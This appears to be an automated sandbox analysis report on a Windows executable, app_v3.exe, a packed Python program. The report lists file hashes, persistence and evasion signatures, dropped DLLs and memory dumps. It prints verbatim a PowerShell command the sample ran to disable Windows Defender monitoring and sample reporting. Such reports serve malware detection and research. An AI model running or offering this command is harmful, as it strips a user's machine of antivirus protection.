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Analysis

  • max time kernel
    11s
  • max time network
    13s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/08/2024, 18:19

General

  • Target

    app_v3.exe

  • Size

    11.2MB

  • MD5

    e16a889bf0a9308c8abc3827602af39f

  • SHA1

    e201b6b4fb3f37d1865bba4b31559772066790c8

  • SHA256

    234f3e03b213a8e243677870cbd64ff9ad8e1a031346f6b7e2f10cc0bdc508f5

  • SHA512

    33c907dcf87fd0112eca0100e8a3db0720b2f24b1abb0c7ea4a41a9c4dfdbdfedb23ef00ea23c0974cb4c46021b2343bfbd7e431b4d18b04514fb36fbda06be2

  • SSDEEP

    196608:/HfggdRyU3b01Kpn3V+uq+VvpoA1HeT39IigwCeE9TFa0Z8DOjCdyllOIQjZ/Roz:3ggTdL01+l+uq+Vvz1+TtIiFPY9Z8D8j

Malware Config

Signatures

  • Loads dropped DLL 19 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\app_v3.exe
    "C:\Users\Admin\AppData\Local\Temp\app_v3.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4772
    • C:\Users\Admin\AppData\Local\Temp\app_v3.exe
      "C:\Users\Admin\AppData\Local\Temp\app_v3.exe"
      2⤵
      • Loads dropped DLL
      • Adds Run key to start application
      • Checks whether UAC is enabled
      • Suspicious use of WriteProcessMemory
      PID:5056
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -MAPSReporting Disabled; Set-MpPreference -SubmitSamplesConsent NeverSend; Set-MpPreference -DisableIntrusionPreventionSystem $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3412
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -MAPSReporting Disabled; Set-MpPreference -SubmitSamplesConsent NeverSend; Set-MpPreference -DisableIntrusionPreventionSystem $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4196

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    d85ba6ff808d9e5444a4b369f5bc2730

    SHA1

    31aa9d96590fff6981b315e0b391b575e4c0804a

    SHA256

    84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

    SHA512

    8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    5a1eeec361ba5d0671ba459c85a6e1d7

    SHA1

    a51cdcd13a6b13e842a2ee977f6d1091d63d706f

    SHA256

    8804fca07f0a87233d848fc260b92e03567ecbee6f903fa0594cb78b11730174

    SHA512

    c41e69d0485c031e49d2505bf531579134147d983d19c3d7d5e3c8f7f6eea5441c830c3eda0f396b54737f30157c9543b68901a79e919ab9f6cc93e6beea345e

  • C:\Users\Admin\AppData\Local\Temp\_MEI47722\VCRUNTIME140.dll

    Filesize

    116KB

    MD5

    be8dbe2dc77ebe7f88f910c61aec691a

    SHA1

    a19f08bb2b1c1de5bb61daf9f2304531321e0e40

    SHA256

    4d292623516f65c80482081e62d5dadb759dc16e851de5db24c3cbb57b87db83

    SHA512

    0da644472b374f1da449a06623983d0477405b5229e386accadb154b43b8b083ee89f07c3f04d2c0c7501ead99ad95aecaa5873ff34c5eeb833285b598d5a655

  • C:\Users\Admin\AppData\Local\Temp\_MEI47722\_bz2.pyd

    Filesize

    83KB

    MD5

    223fd6748cae86e8c2d5618085c768ac

    SHA1

    dcb589f2265728fe97156814cbe6ff3303cd05d3

    SHA256

    f81dc49eac5ecc528e628175add2ff6bda695a93ea76671d7187155aa6326abb

    SHA512

    9c22c178417b82e68f71e5b7fe7c0c0a77184ee12bd0dc049373eace7fa66c89458164d124a9167ae760ff9d384b78ca91001e5c151a51ad80c824066b8ecce6

  • C:\Users\Admin\AppData\Local\Temp\_MEI47722\_cffi_backend.cp312-win_amd64.pyd

    Filesize

    178KB

    MD5

    0572b13646141d0b1a5718e35549577c

    SHA1

    eeb40363c1f456c1c612d3c7e4923210eae4cdf7

    SHA256

    d8a76d1e31bbd62a482dea9115fc1a109cb39af4cf6d1323409175f3c93113a7

    SHA512

    67c28432ca8b389acc26e47eb8c4977fddd4af9214819f89df07fecbc8ed750d5f35807a1b195508dd1d77e2a7a9d7265049dcfbfe7665a7fd1ba45da1e4e842

  • C:\Users\Admin\AppData\Local\Temp\_MEI47722\_ctypes.pyd

    Filesize

    122KB

    MD5

    bbd5533fc875a4a075097a7c6aba865e

    SHA1

    ab91e62c6d02d211a1c0683cb6c5b0bdd17cbf00

    SHA256

    be9828a877e412b48d75addc4553d2d2a60ae762a3551f9731b50cae7d65b570

    SHA512

    23ef351941f459dee7ed2cebbae21969e97b61c0d877cfe15e401c36369d2a2491ca886be789b1a0c5066d6a8835fd06db28b5b28fb6e9df84c2d0b0d8e9850e

  • C:\Users\Admin\AppData\Local\Temp\_MEI47722\_decimal.pyd

    Filesize

    245KB

    MD5

    3055edf761508190b576e9bf904003aa

    SHA1

    f0dc8d882b5cd7955cc6dfc8f9834f70a83c7890

    SHA256

    e4104e47399d3f635a14d649f61250e9fd37f7e65c81ffe11f099923f8532577

    SHA512

    87538fe20bd2c1150a8fefd0478ffd32e2a9c59d22290464bf5dfb917f6ac7ec874f8b1c70d643a4dc3dd32cbe17e7ea40c0be3ea9dd07039d94ab316f752248

  • C:\Users\Admin\AppData\Local\Temp\_MEI47722\_hashlib.pyd

    Filesize

    64KB

    MD5

    eedb6d834d96a3dffffb1f65b5f7e5be

    SHA1

    ed6735cfdd0d1ec21c7568a9923eb377e54b308d

    SHA256

    79c4cde23397b9a35b54a3c2298b3c7a844454f4387cb0693f15e4facd227dd2

    SHA512

    527bd7bb2f4031416762595f4ce24cbc6254a50eaf2cc160b930950c4f2b3f5e245a486972148c535f8cd80c78ec6fa8c9a062085d60db8f23d4b21e8ae4c0ad

  • C:\Users\Admin\AppData\Local\Temp\_MEI47722\_lzma.pyd

    Filesize

    156KB

    MD5

    05e8b2c429aff98b3ae6adc842fb56a3

    SHA1

    834ddbced68db4fe17c283ab63b2faa2e4163824

    SHA256

    a6e2a5bb7a33ad9054f178786a031a46ea560faeef1fb96259331500aae9154c

    SHA512

    badeb99795b89bc7c1f0c36becc7a0b2ce99ecfd6f6bb493bda24b8e57e6712e23f4c509c96a28bc05200910beddc9f1536416bbc922331cae698e813cbb50b3

  • C:\Users\Admin\AppData\Local\Temp\_MEI47722\_queue.pyd

    Filesize

    31KB

    MD5

    6e0cb85dc94e351474d7625f63e49b22

    SHA1

    66737402f76862eb2278e822b94e0d12dcb063c5

    SHA256

    3f57f29abd86d4dc8f4ca6c3f190ebb57d429143d98f0636ff5117e08ed81f9b

    SHA512

    1984b2fc7f9bbdf5ba66716fc60dcfd237f38e2680f2fc61f141ff7e865c0dbdd7cdc47b3bc490b426c6cfe9f3f9e340963abf428ea79eb794b0be7d13001f6a

  • C:\Users\Admin\AppData\Local\Temp\_MEI47722\_socket.pyd

    Filesize

    81KB

    MD5

    dc06f8d5508be059eae9e29d5ba7e9ec

    SHA1

    d666c88979075d3b0c6fd3be7c595e83e0cb4e82

    SHA256

    7daff6aa3851a913ed97995702a5dfb8a27cb7cf00fb496597be777228d7564a

    SHA512

    57eb36bc1e9be20c85c34b0a535b2349cb13405d60e752016e23603c4648939f1150e4dbebc01ec7b43eb1a6947c182ccb8a806e7e72167ad2e9d98d1fd94ab3

  • C:\Users\Admin\AppData\Local\Temp\_MEI47722\_ssl.pyd

    Filesize

    174KB

    MD5

    5b9b3f978d07e5a9d701f832463fc29d

    SHA1

    0fcd7342772ad0797c9cb891bf17e6a10c2b155b

    SHA256

    d568b3c99bf0fc35a1f3c5f66b4a9d3b67e23a1d3cf0a4d30499d924d805f5aa

    SHA512

    e4db56c8e0e9ba0db7004463bf30364a4e4ab0b545fb09f40d2dba67b79b6b1c1db07df1f017501e074abd454d1e37a4167f29e7bbb0d4f8958fa0a2e9f4e405

  • C:\Users\Admin\AppData\Local\Temp\_MEI47722\base_library.zip

    Filesize

    1.3MB

    MD5

    8dad91add129dca41dd17a332a64d593

    SHA1

    70a4ec5a17ed63caf2407bd76dc116aca7765c0d

    SHA256

    8de4f013bfecb9431aabaa97bb084fb7de127b365b9478d6f7610959bf0d2783

    SHA512

    2163414bc01fc30d47d1de763a8332afe96ea7b296665b1a0840d5197b7e56f4963938e69de35cd2bf89158e5e2240a1650d00d86634ac2a5e2ad825455a2d50

  • C:\Users\Admin\AppData\Local\Temp\_MEI47722\certifi\cacert.pem

    Filesize

    284KB

    MD5

    181ac9a809b1a8f1bc39c1c5c777cf2a

    SHA1

    9341e715cea2e6207329e7034365749fca1f37dc

    SHA256

    488ba960602bf07cc63f4ef7aec108692fec41820fc3328a8e3f3de038149aee

    SHA512

    e19a92b94aedcf1282b3ef561bd471ea19ed361334092c55d72425f9183ebd1d30a619e493841b6f75c629f26f28dc682960977941b486c59475f21cf86fff85

  • C:\Users\Admin\AppData\Local\Temp\_MEI47722\charset_normalizer\md.cp312-win_amd64.pyd

    Filesize

    10KB

    MD5

    d9e0217a89d9b9d1d778f7e197e0c191

    SHA1

    ec692661fcc0b89e0c3bde1773a6168d285b4f0d

    SHA256

    ecf12e2c0a00c0ed4e2343ea956d78eed55e5a36ba49773633b2dfe7b04335c0

    SHA512

    3b788ac88c1f2d682c1721c61d223a529697c7e43280686b914467b3b39e7d6debaff4c0e2f42e9dddb28b522f37cb5a3011e91c66d911609c63509f9228133d

  • C:\Users\Admin\AppData\Local\Temp\_MEI47722\charset_normalizer\md__mypyc.cp312-win_amd64.pyd

    Filesize

    120KB

    MD5

    bf9a9da1cf3c98346002648c3eae6dcf

    SHA1

    db16c09fdc1722631a7a9c465bfe173d94eb5d8b

    SHA256

    4107b1d6f11d842074a9f21323290bbe97e8eed4aa778fbc348ee09cc4fa4637

    SHA512

    7371407d12e632fc8fb031393838d36e6a1fe1e978ced36ff750d84e183cde6dd20f75074f4597742c9f8d6f87af12794c589d596a81b920c6c62ee2ba2e5654

  • C:\Users\Admin\AppData\Local\Temp\_MEI47722\libcrypto-3.dll

    Filesize

    5.0MB

    MD5

    e547cf6d296a88f5b1c352c116df7c0c

    SHA1

    cafa14e0367f7c13ad140fd556f10f320a039783

    SHA256

    05fe080eab7fc535c51e10c1bd76a2f3e6217f9c91a25034774588881c3f99de

    SHA512

    9f42edf04c7af350a00fa4fdf92b8e2e6f47ab9d2d41491985b20cd0adde4f694253399f6a88f4bdd765c4f49792f25fb01e84ec03fd5d0be8bb61773d77d74d

  • C:\Users\Admin\AppData\Local\Temp\_MEI47722\libffi-8.dll

    Filesize

    38KB

    MD5

    0f8e4992ca92baaf54cc0b43aaccce21

    SHA1

    c7300975df267b1d6adcbac0ac93fd7b1ab49bd2

    SHA256

    eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a

    SHA512

    6e1b223462dc124279bfca74fd2c66fe18b368ffbca540c84e82e0f5bcbea0e10cc243975574fa95ace437b9d8b03a446ed5ee0c9b1b094147cefaf704dfe978

  • C:\Users\Admin\AppData\Local\Temp\_MEI47722\libssl-3.dll

    Filesize

    768KB

    MD5

    19a2aba25456181d5fb572d88ac0e73e

    SHA1

    656ca8cdfc9c3a6379536e2027e93408851483db

    SHA256

    2e9fbcd8f7fdc13a5179533239811456554f2b3aa2fb10e1b17be0df81c79006

    SHA512

    df17dc8a882363a6c5a1b78ba3cf448437d1118ccc4a6275cc7681551b13c1a4e0f94e30ffb94c3530b688b62bff1c03e57c2c185a7df2bf3e5737a06e114337

  • C:\Users\Admin\AppData\Local\Temp\_MEI47722\python3.dll

    Filesize

    66KB

    MD5

    79b02450d6ca4852165036c8d4eaed1f

    SHA1

    ce9ff1b302426d4c94a2d3ea81531d3cb9e583e4

    SHA256

    d2e348e615a5d3b08b0bac29b91f79b32f0c1d0be48976450042462466b51123

    SHA512

    47044d18db3a4dd58a93b43034f4fafa66821d157dcfefb85fca2122795f4591dc69a82eb2e0ebd9183075184368850e4caf9c9fea0cfe6f766c73a60ffdf416

  • C:\Users\Admin\AppData\Local\Temp\_MEI47722\python312.dll

    Filesize

    6.6MB

    MD5

    3c388ce47c0d9117d2a50b3fa5ac981d

    SHA1

    038484ff7460d03d1d36c23f0de4874cbaea2c48

    SHA256

    c98ba3354a7d1f69bdca42560feec933ccba93afcc707391049a065e1079cddb

    SHA512

    e529c5c1c028be01e44a156cd0e7cad0a24b5f91e5d34697fafc395b63e37780dc0fac8f4c5d075ad8fe4bd15d62a250b818ff3d4ead1e281530a4c7e3ce6d35

  • C:\Users\Admin\AppData\Local\Temp\_MEI47722\select.pyd

    Filesize

    29KB

    MD5

    92b440ca45447ec33e884752e4c65b07

    SHA1

    5477e21bb511cc33c988140521a4f8c11a427bcc

    SHA256

    680df34fb908c49410ac5f68a8c05d92858acd111e62d1194d15bdce520bd6c3

    SHA512

    40e60e1d1445592c5e8eb352a4052db28b1739a29e16b884b0ba15917b058e66196988214ce473ba158704837b101a13195d5e48cb1dc2f07262dfecfe8d8191

  • C:\Users\Admin\AppData\Local\Temp\_MEI47722\unicodedata.pyd

    Filesize

    1.1MB

    MD5

    16be9a6f941f1a2cb6b5fca766309b2c

    SHA1

    17b23ae0e6a11d5b8159c748073e36a936f3316a

    SHA256

    10ffd5207eeff5a836b330b237d766365d746c30e01abf0fd01f78548d1f1b04

    SHA512

    64b7ecc58ae7cf128f03a0d5d5428aaa0d4ad4ae7e7d19be0ea819bbbf99503836bfe4946df8ee3ab8a92331fdd002ab9a9de5146af3e86fef789ce46810796b

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zw12lvd0.th1.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/3412-70-0x00007FF9A2613000-0x00007FF9A2615000-memory.dmp

    Filesize

    8KB

  • memory/3412-71-0x000001CF4ECF0000-0x000001CF4ED12000-memory.dmp

    Filesize

    136KB

  • memory/3412-81-0x00007FF9A2610000-0x00007FF9A30D1000-memory.dmp

    Filesize

    10.8MB

  • memory/3412-82-0x00007FF9A2610000-0x00007FF9A30D1000-memory.dmp

    Filesize

    10.8MB

  • memory/3412-85-0x00007FF9A2610000-0x00007FF9A30D1000-memory.dmp

    Filesize

    10.8MB